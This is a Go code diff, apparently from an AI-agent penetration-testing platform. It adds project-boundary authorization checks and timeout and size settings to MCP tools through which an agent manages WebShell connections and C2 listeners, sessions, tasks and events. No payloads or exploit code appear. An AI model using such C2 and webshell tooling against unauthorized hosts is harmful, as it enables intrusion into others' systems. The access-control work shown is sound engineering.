return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "done"}}}, nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil, ctx.Err()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-bound", "slow-bind", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
|
||||||
|
}
|
||||||
|
if result == nil || !result.IsError || result.ExecutionID == "" {
|
||||||
|
t.Fatalf("expected bounded wait result with execution id, result=%#v", result)
|
||||||
|
}
|
||||||
|
|
||||||
|
exec, ok := ag.mcpServer.GetExecution(result.ExecutionID)
|
||||||
|
if !ok || exec == nil {
|
||||||
|
t.Fatalf("missing execution %q", result.ExecutionID)
|
||||||
|
}
|
||||||
|
if exec.ConversationID != "conv-bound" {
|
||||||
|
t.Fatalf("execution conversation = %q, want conv-bound", exec.ConversationID)
|
||||||
|
}
|
||||||
|
close(release)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecuteMCPToolForConversationConcurrentRecordIsolation(t *testing.T) {
|
||||||
|
ag := setupTestAgent(t)
|
||||||
|
seen := make(chan string, 2)
|
||||||
|
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
if conv, _ := args["conversation_id"].(string); conv != "" {
|
||||||
|
seen <- conv
|
||||||
|
}
|
||||||
|
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
|
||||||
|
})
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
for _, conv := range []string{"conv-a", "conv-b"} {
|
||||||
|
conv := conv
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
if _, err := ag.ExecuteMCPToolForConversation(context.Background(), conv, builtin.ToolRecordVulnerability, map[string]interface{}{}); err != nil {
|
||||||
|
t.Errorf("ExecuteMCPToolForConversation %s: %v", conv, err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
close(seen)
|
||||||
|
|
||||||
|
got := map[string]int{}
|
||||||
|
for conv := range seen {
|
||||||
|
got[conv]++
|
||||||
|
}
|
||||||
|
if got["conv-a"] != 1 || got["conv-b"] != 1 {
|
||||||
|
t.Fatalf("conversation ids = %#v, want one call for conv-a and conv-b", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
+99
-9
@@ -148,10 +148,15 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
mcpServer := mcp.NewServerWithStorage(log.Logger, db)
|
mcpServer := mcp.NewServerWithStorage(log.Logger, db)
|
||||||
mcpServer.SetToolAuthorizer(mcpToolAuthorizer(db))
|
mcpServer.SetToolAuthorizer(mcpToolAuthorizer(db))
|
||||||
mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
|
mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
|
||||||
|
mcpServer.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
|
||||||
|
mcpServer.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
mcpServer.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
|
||||||
// 创建安全工具执行器
|
// 创建安全工具执行器
|
||||||
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
|
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
|
||||||
executor.SetShellNoOutputTimeoutSeconds(cfg.Agent.ShellNoOutputTimeoutSeconds)
|
executor.SetShellNoOutputTimeoutSeconds(cfg.Agent.ShellNoOutputTimeoutSeconds)
|
||||||
|
executor.SetToolOutputMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
executor.SetToolOutputSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
|
||||||
// 注册工具
|
// 注册工具
|
||||||
executor.RegisterTools(mcpServer)
|
executor.RegisterTools(mcpServer)
|
||||||
@@ -165,6 +170,16 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
// 创建外部MCP管理器(使用与内部MCP服务器相同的存储)
|
// 创建外部MCP管理器(使用与内部MCP服务器相同的存储)
|
||||||
externalMCPMgr := mcp.NewExternalMCPManagerWithStorage(log.Logger, db)
|
externalMCPMgr := mcp.NewExternalMCPManagerWithStorage(log.Logger, db)
|
||||||
externalMCPMgr.SetToolAuthorizer(externalMCPToolAuthorizer())
|
externalMCPMgr.SetToolAuthorizer(externalMCPToolAuthorizer())
|
||||||
|
externalMCPMgr.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
|
||||||
|
externalMCPMgr.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||||
|
externalMCPMgr.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||||
|
externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
|
||||||
|
MaxConcurrentPerServer: cfg.Agent.ExternalMCPMaxConcurrentPerServer,
|
||||||
|
MaxConcurrentTotal: cfg.Agent.ExternalMCPMaxConcurrentTotal,
|
||||||
|
CircuitFailureThreshold: cfg.Agent.ExternalMCPCircuitFailureThreshold,
|
||||||
|
CircuitCooldown: time.Duration(cfg.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
|
||||||
|
})
|
||||||
|
mcp.RegisterExecutionControlTools(mcpServer, externalMCPMgr)
|
||||||
if cfg.ExternalMCP.Servers != nil {
|
if cfg.ExternalMCP.Servers != nil {
|
||||||
externalMCPMgr.LoadConfigs(&cfg.ExternalMCP)
|
externalMCPMgr.LoadConfigs(&cfg.ExternalMCP)
|
||||||
// 启动所有启用的外部MCP客户端
|
// 启动所有启用的外部MCP客户端
|
||||||
@@ -1298,6 +1313,7 @@ func setupRoutes(
|
|||||||
c2Routes.GET("/sessions/:id", c2Handler.GetSession)
|
c2Routes.GET("/sessions/:id", c2Handler.GetSession)
|
||||||
c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
|
c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
|
||||||
c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)
|
c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)
|
||||||
|
c2Routes.PUT("/sessions/:id/note", c2Handler.SetSessionNote)
|
||||||
c2Routes.GET("/tasks", c2Handler.ListTasks)
|
c2Routes.GET("/tasks", c2Handler.ListTasks)
|
||||||
c2Routes.DELETE("/tasks", c2Handler.DeleteTasks)
|
c2Routes.DELETE("/tasks", c2Handler.DeleteTasks)
|
||||||
c2Routes.GET("/tasks/:id", c2Handler.GetTask)
|
c2Routes.GET("/tasks/:id", c2Handler.GetTask)
|
||||||
@@ -1322,6 +1338,7 @@ func setupRoutes(
|
|||||||
|
|
||||||
// 对话附件(chat_uploads)管理
|
// 对话附件(chat_uploads)管理
|
||||||
protected.GET("/chat-uploads", chatUploadsHandler.List)
|
protected.GET("/chat-uploads", chatUploadsHandler.List)
|
||||||
|
protected.GET("/chat-uploads/export", chatUploadsHandler.Export)
|
||||||
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
|
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
|
||||||
protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
|
protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
|
||||||
protected.POST("/chat-uploads", chatUploadsHandler.Upload)
|
protected.POST("/chat-uploads", chatUploadsHandler.Upload)
|
||||||
@@ -1558,22 +1575,62 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
logger.Warn("跳过 WebShell 管理工具注册:db 为空")
|
logger.Warn("跳过 WebShell 管理工具注册:db 为空")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
projectIDFromToolArgs := func(ctx context.Context, args map[string]interface{}) string {
|
||||||
|
projectID, _ := args["project_id"].(string)
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" {
|
||||||
|
projectID = strings.TrimSpace(mcp.MCPProjectIDFromContext(ctx))
|
||||||
|
}
|
||||||
|
return projectID
|
||||||
|
}
|
||||||
|
explicitProjectIDFromToolArgs := func(args map[string]interface{}) string {
|
||||||
|
projectID, _ := args["project_id"].(string)
|
||||||
|
return strings.TrimSpace(projectID)
|
||||||
|
}
|
||||||
|
authorizeWebshellToolProject := func(principal authctx.Principal, permission, projectID string) *mcp.ToolResult {
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if projectID == database.ProjectFilterUnbound {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), "project", projectID) {
|
||||||
|
return &mcp.ToolResult{
|
||||||
|
Content: []mcp.Content{{Type: "text", Text: "无权访问项目: " + projectID}},
|
||||||
|
IsError: true,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// manage_webshell_list - 列出所有 webshell 连接
|
// manage_webshell_list - 列出所有 webshell 连接
|
||||||
listTool := mcp.Tool{
|
listTool := mcp.Tool{
|
||||||
Name: builtin.ToolManageWebshellList,
|
Name: builtin.ToolManageWebshellList,
|
||||||
Description: "列出所有已保存的 WebShell 连接,返回连接ID、URL、类型、备注等信息。",
|
Description: "列出已保存的 WebShell 连接,返回连接ID、URL、类型、所属项目、备注等信息。默认按当前对话项目边界过滤:项目对话看本项目,未绑定项目的对话看未绑定连接;显式传 project_id 时按指定项目过滤。",
|
||||||
ShortDescription: "列出所有 WebShell 连接",
|
ShortDescription: "列出所有 WebShell 连接",
|
||||||
InputSchema: map[string]interface{}{
|
InputSchema: map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": map[string]interface{}{},
|
"properties": map[string]interface{}{
|
||||||
|
"project_id": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "项目 ID;不填时在项目会话中默认使用当前项目。",
|
||||||
|
},
|
||||||
|
},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
listHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
listHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
connections := []database.WebShellConnection{}
|
connections := []database.WebShellConnection{}
|
||||||
var err error
|
var err error
|
||||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||||
connections, err = db.ListWebshellConnectionsForAccess(principal.UserID, principal.ScopeFor("webshell:read"))
|
projectID := explicitProjectIDFromToolArgs(args)
|
||||||
|
if projectID == "" {
|
||||||
|
projectID = mcpEffectiveProjectFilter(ctx, db)
|
||||||
|
}
|
||||||
|
if result := authorizeWebshellToolProject(principal, "webshell:read", projectID); result != nil {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
connections, err = db.ListWebshellConnectionsForAccess(principal.UserID, principal.ScopeFor("webshell:read"), projectID)
|
||||||
} else {
|
} else {
|
||||||
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "缺少认证身份"}}, IsError: true}, nil
|
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "缺少认证身份"}}, IsError: true}, nil
|
||||||
}
|
}
|
||||||
@@ -1597,6 +1654,11 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
sb.WriteString(fmt.Sprintf(" 类型: %s\n", conn.Type))
|
sb.WriteString(fmt.Sprintf(" 类型: %s\n", conn.Type))
|
||||||
sb.WriteString(fmt.Sprintf(" 请求方式: %s\n", conn.Method))
|
sb.WriteString(fmt.Sprintf(" 请求方式: %s\n", conn.Method))
|
||||||
sb.WriteString(fmt.Sprintf(" 命令参数: %s\n", conn.CmdParam))
|
sb.WriteString(fmt.Sprintf(" 命令参数: %s\n", conn.CmdParam))
|
||||||
|
if conn.ProjectID != "" {
|
||||||
|
sb.WriteString(fmt.Sprintf(" 项目ID: %s\n", conn.ProjectID))
|
||||||
|
} else {
|
||||||
|
sb.WriteString(" 项目: 未绑定\n")
|
||||||
|
}
|
||||||
if conn.Remark != "" {
|
if conn.Remark != "" {
|
||||||
sb.WriteString(fmt.Sprintf(" 备注: %s\n", conn.Remark))
|
sb.WriteString(fmt.Sprintf(" 备注: %s\n", conn.Remark))
|
||||||
}
|
}
|
||||||
@@ -1671,6 +1733,14 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
cmdParam = "cmd"
|
cmdParam = "cmd"
|
||||||
}
|
}
|
||||||
remark, _ := args["remark"].(string)
|
remark, _ := args["remark"].(string)
|
||||||
|
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "缺少认证身份"}}, IsError: true}, nil
|
||||||
|
}
|
||||||
|
projectID := projectIDFromToolArgs(ctx, args)
|
||||||
|
if result := authorizeWebshellToolProject(principal, "webshell:write", projectID); result != nil {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
// 生成连接ID
|
// 生成连接ID
|
||||||
connID := "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12]
|
connID := "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12]
|
||||||
@@ -1682,6 +1752,7 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
Method: strings.ToLower(method),
|
Method: strings.ToLower(method),
|
||||||
CmdParam: cmdParam,
|
CmdParam: cmdParam,
|
||||||
Remark: remark,
|
Remark: remark,
|
||||||
|
ProjectID: projectID,
|
||||||
CreatedAt: time.Now(),
|
CreatedAt: time.Now(),
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1691,15 +1762,17 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
IsError: true,
|
IsError: true,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
_ = db.SetResourceOwner("webshell", conn.ID, principal.UserID)
|
||||||
_ = db.SetResourceOwner("webshell", conn.ID, principal.UserID)
|
_ = db.AssignResourceToUser(principal.UserID, "webshell", conn.ID)
|
||||||
_ = db.AssignResourceToUser(principal.UserID, "webshell", conn.ID)
|
projectLine := "项目: 未绑定"
|
||||||
|
if conn.ProjectID != "" {
|
||||||
|
projectLine = "项目ID: " + conn.ProjectID
|
||||||
}
|
}
|
||||||
|
|
||||||
return &mcp.ToolResult{
|
return &mcp.ToolResult{
|
||||||
Content: []mcp.Content{{
|
Content: []mcp.Content{{
|
||||||
Type: "text",
|
Type: "text",
|
||||||
Text: fmt.Sprintf("WebShell 连接添加成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s", conn.ID, conn.URL, conn.Type, conn.Method, conn.CmdParam),
|
Text: fmt.Sprintf("WebShell 连接添加成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s\n%s", conn.ID, conn.URL, conn.Type, conn.Method, conn.CmdParam, projectLine),
|
||||||
}},
|
}},
|
||||||
IsError: false,
|
IsError: false,
|
||||||
}, nil
|
}, nil
|
||||||
@@ -1744,6 +1817,10 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "新的备注",
|
"description": "新的备注",
|
||||||
},
|
},
|
||||||
|
"project_id": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "新的所属项目 ID;传空字符串可取消绑定。",
|
||||||
|
},
|
||||||
},
|
},
|
||||||
"required": []string{"connection_id"},
|
"required": []string{"connection_id"},
|
||||||
},
|
},
|
||||||
@@ -1785,6 +1862,19 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
if remark, ok := args["remark"].(string); ok {
|
if remark, ok := args["remark"].(string); ok {
|
||||||
existing.Remark = remark
|
existing.Remark = remark
|
||||||
}
|
}
|
||||||
|
if projectID, ok := args["project_id"].(string); ok {
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID != "" {
|
||||||
|
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "缺少认证身份"}}, IsError: true}, nil
|
||||||
|
}
|
||||||
|
if result := authorizeWebshellToolProject(principal, "webshell:write", projectID); result != nil {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
existing.ProjectID = projectID
|
||||||
|
}
|
||||||
|
|
||||||
if err := db.UpdateWebshellConnection(existing); err != nil {
|
if err := db.UpdateWebshellConnection(existing); err != nil {
|
||||||
return &mcp.ToolResult{
|
return &mcp.ToolResult{
|
||||||
@@ -1796,7 +1886,7 @@ func registerWebshellManagementTools(mcpServer *mcp.Server, db *database.DB, web
|
|||||||
return &mcp.ToolResult{
|
return &mcp.ToolResult{
|
||||||
Content: []mcp.Content{{
|
Content: []mcp.Content{{
|
||||||
Type: "text",
|
Type: "text",
|
||||||
Text: fmt.Sprintf("WebShell 连接更新成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s\n备注: %s", existing.ID, existing.URL, existing.Type, existing.Method, existing.CmdParam, existing.Remark),
|
Text: fmt.Sprintf("WebShell 连接更新成功!\n\n连接ID: %s\nURL: %s\n类型: %s\n请求方式: %s\n命令参数: %s\n项目ID: %s\n备注: %s", existing.ID, existing.URL, existing.Type, existing.Method, existing.CmdParam, existing.ProjectID, existing.Remark),
|
||||||
}},
|
}},
|
||||||
IsError: false,
|
IsError: false,
|
||||||
}, nil
|
}, nil
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ tcp_reverse 默认仅接受 CSB1 加密 Beacon(AES-GCM + ImplantToken)才登
|
|||||||
|
|
||||||
switch action {
|
switch action {
|
||||||
case "list":
|
case "list":
|
||||||
listeners, err := m.DB().ListC2ListenersForAccess(c2ToolAccess(ctx))
|
listeners, err := m.DB().ListC2ListenersForAccess(c2ToolAccess(ctx), mcpEffectiveProjectFilter(ctx, m.DB()))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return makeC2Result(nil, err)
|
return makeC2Result(nil, err)
|
||||||
}
|
}
|
||||||
@@ -123,6 +123,7 @@ tcp_reverse 默认仅接受 CSB1 加密 Beacon(AES-GCM + ImplantToken)才登
|
|||||||
BindPort: int(getFloat64(params, "bind_port")),
|
BindPort: int(getFloat64(params, "bind_port")),
|
||||||
ProfileID: getString(params, "profile_id"),
|
ProfileID: getString(params, "profile_id"),
|
||||||
Remark: getString(params, "remark"),
|
Remark: getString(params, "remark"),
|
||||||
|
ProjectID: strings.TrimSpace(mcp.MCPProjectIDFromContext(ctx)),
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
CallbackHost: getString(params, "callback_host"),
|
CallbackHost: getString(params, "callback_host"),
|
||||||
}
|
}
|
||||||
@@ -260,6 +261,7 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
|||||||
case "list":
|
case "list":
|
||||||
filter := database.ListC2SessionsFilter{
|
filter := database.ListC2SessionsFilter{
|
||||||
ListenerID: getString(params, "listener_id"),
|
ListenerID: getString(params, "listener_id"),
|
||||||
|
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||||
Status: getString(params, "status"),
|
Status: getString(params, "status"),
|
||||||
OS: getString(params, "os"),
|
OS: getString(params, "os"),
|
||||||
Search: getString(params, "search"),
|
Search: getString(params, "search"),
|
||||||
@@ -495,6 +497,7 @@ func registerC2TaskManageTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
|||||||
case "list":
|
case "list":
|
||||||
filter := database.ListC2TasksFilter{
|
filter := database.ListC2TasksFilter{
|
||||||
SessionID: getString(params, "session_id"),
|
SessionID: getString(params, "session_id"),
|
||||||
|
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||||
Status: getString(params, "status"),
|
Status: getString(params, "status"),
|
||||||
}
|
}
|
||||||
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
if limit := int(getFloat64(params, "limit")); limit > 0 {
|
||||||
@@ -645,6 +648,7 @@ func registerC2EventTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
|||||||
filter := database.ListC2EventsFilter{
|
filter := database.ListC2EventsFilter{
|
||||||
Level: getString(params, "level"),
|
Level: getString(params, "level"),
|
||||||
Category: getString(params, "category"),
|
Category: getString(params, "category"),
|
||||||
|
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||||
SessionID: getString(params, "session_id"),
|
SessionID: getString(params, "session_id"),
|
||||||
TaskID: getString(params, "task_id"),
|
TaskID: getString(params, "task_id"),
|
||||||
Limit: int(getFloat64(params, "limit")),
|
Limit: int(getFloat64(params, "limit")),
|
||||||
|
|||||||
@@ -32,6 +32,19 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
|
|||||||
if id == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
if id == "" || db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
||||||
return fmt.Errorf("no access to %s %s", resourceType, id)
|
return fmt.Errorf("no access to %s %s", resourceType, id)
|
||||||
}
|
}
|
||||||
|
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, id); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
toolExecutionResource := func(permission string) error {
|
||||||
|
if err := require(permission); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
id := mcpAuthorizationString(args, "execution_id")
|
||||||
|
if id == "" || db == nil || !db.UserCanAccessToolExecution(principal.UserID, principal.ScopeFor(permission), id) {
|
||||||
|
return fmt.Errorf("no access to tool execution %s", id)
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -108,6 +121,10 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
|
|||||||
return require("knowledge:read")
|
return require("knowledge:read")
|
||||||
case builtin.ToolAnalyzeImage:
|
case builtin.ToolAnalyzeImage:
|
||||||
return require("agent:execute")
|
return require("agent:execute")
|
||||||
|
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution:
|
||||||
|
return toolExecutionResource("monitor:read")
|
||||||
|
case builtin.ToolCancelToolExecution:
|
||||||
|
return toolExecutionResource("monitor:write")
|
||||||
case builtin.ToolBatchTaskList:
|
case builtin.ToolBatchTaskList:
|
||||||
return require("tasks:read")
|
return require("tasks:read")
|
||||||
case builtin.ToolBatchTaskGet:
|
case builtin.ToolBatchTaskGet:
|
||||||
@@ -127,20 +144,26 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
|
|||||||
builtin.ToolBatchTaskScheduleEnabled, builtin.ToolBatchTaskAdd, builtin.ToolBatchTaskUpdate:
|
builtin.ToolBatchTaskScheduleEnabled, builtin.ToolBatchTaskAdd, builtin.ToolBatchTaskUpdate:
|
||||||
return resource("tasks:write", "batch_task", "queue_id")
|
return resource("tasks:write", "batch_task", "queue_id")
|
||||||
case builtin.ToolC2Listener:
|
case builtin.ToolC2Listener:
|
||||||
return authorizeC2Action(principal, db, args, "c2_listener", "listener_id")
|
return authorizeC2Action(ctx, principal, db, args, "c2_listener", "listener_id")
|
||||||
case builtin.ToolC2Session, builtin.ToolC2Task, builtin.ToolC2File:
|
case builtin.ToolC2Session, builtin.ToolC2Task, builtin.ToolC2File:
|
||||||
if toolName == builtin.ToolC2File && mcpAuthorizationString(args, "action") == "get_result" {
|
if toolName == builtin.ToolC2File && mcpAuthorizationString(args, "action") == "get_result" {
|
||||||
return authorizeC2Action(principal, db, args, "c2_task", "task_id")
|
return authorizeC2Action(ctx, principal, db, args, "c2_task", "task_id")
|
||||||
}
|
}
|
||||||
return authorizeC2Action(principal, db, args, "c2_session", "session_id")
|
return authorizeC2Action(ctx, principal, db, args, "c2_session", "session_id")
|
||||||
case builtin.ToolC2TaskManage:
|
case builtin.ToolC2TaskManage:
|
||||||
return authorizeC2Action(principal, db, args, "c2_task", "task_id")
|
return authorizeC2Action(ctx, principal, db, args, "c2_task", "task_id")
|
||||||
case builtin.ToolC2Payload:
|
case builtin.ToolC2Payload:
|
||||||
return resource("c2:write", "c2_listener", "listener_id")
|
return resource("c2:write", "c2_listener", "listener_id")
|
||||||
case builtin.ToolC2Event:
|
case builtin.ToolC2Event:
|
||||||
if id := mcpAuthorizationString(args, "session_id"); id != "" {
|
if id := mcpAuthorizationString(args, "session_id"); id != "" {
|
||||||
return resource("c2:read", "c2_session", "session_id")
|
return resource("c2:read", "c2_session", "session_id")
|
||||||
}
|
}
|
||||||
|
if id := mcpAuthorizationString(args, "task_id"); id != "" {
|
||||||
|
return resource("c2:read", "c2_task", "task_id")
|
||||||
|
}
|
||||||
|
if filter := mcpEffectiveProjectFilter(ctx, db); filter != "" {
|
||||||
|
return require("c2:read")
|
||||||
|
}
|
||||||
if principal.ScopeFor("c2:read") != database.RBACScopeAll {
|
if principal.ScopeFor("c2:read") != database.RBACScopeAll {
|
||||||
return fmt.Errorf("unfiltered C2 event list requires global scope")
|
return fmt.Errorf("unfiltered C2 event list requires global scope")
|
||||||
}
|
}
|
||||||
@@ -193,7 +216,7 @@ func externalMCPToolAuthorizer() func(context.Context, string, map[string]interf
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func authorizeC2Action(principal authctx.Principal, db *database.DB, args map[string]interface{}, resourceType, argument string) error {
|
func authorizeC2Action(ctx context.Context, principal authctx.Principal, db *database.DB, args map[string]interface{}, resourceType, argument string) error {
|
||||||
action := mcpAuthorizationString(args, "action")
|
action := mcpAuthorizationString(args, "action")
|
||||||
permission := "c2:write"
|
permission := "c2:write"
|
||||||
if action == "list" || action == "get" || action == "get_result" || action == "wait" {
|
if action == "list" || action == "get" || action == "get_result" || action == "wait" {
|
||||||
@@ -214,6 +237,9 @@ func authorizeC2Action(principal authctx.Principal, db *database.DB, args map[st
|
|||||||
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, candidate) {
|
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, candidate) {
|
||||||
return fmt.Errorf("no access to %s %s", resourceType, candidate)
|
return fmt.Errorf("no access to %s %s", resourceType, candidate)
|
||||||
}
|
}
|
||||||
|
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, candidate); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -226,9 +252,93 @@ func authorizeC2Action(principal authctx.Principal, db *database.DB, args map[st
|
|||||||
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
||||||
return fmt.Errorf("no access to %s %s", resourceType, id)
|
return fmt.Errorf("no access to %s %s", resourceType, id)
|
||||||
}
|
}
|
||||||
|
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, id); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func authorizeMCPProjectResourceBoundary(ctx context.Context, db *database.DB, resourceType, resourceID string) error {
|
||||||
|
filter := mcpEffectiveProjectFilter(ctx, db)
|
||||||
|
if filter == "" || db == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
projectID, ok, err := mcpResourceProjectID(db, resourceType, resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if filter == database.ProjectFilterUnbound {
|
||||||
|
if projectID != "" {
|
||||||
|
return fmt.Errorf("resource %s %s belongs to project %s, current conversation is unbound", resourceType, resourceID, projectID)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if projectID != filter {
|
||||||
|
if projectID == "" {
|
||||||
|
return fmt.Errorf("resource %s %s is unbound, current conversation project is %s", resourceType, resourceID, filter)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("resource %s %s belongs to project %s, current conversation project is %s", resourceType, resourceID, projectID, filter)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func mcpResourceProjectID(db *database.DB, resourceType, resourceID string) (string, bool, error) {
|
||||||
|
switch resourceType {
|
||||||
|
case "webshell":
|
||||||
|
conn, err := db.GetWebshellConnection(resourceID)
|
||||||
|
if err != nil {
|
||||||
|
return "", true, err
|
||||||
|
}
|
||||||
|
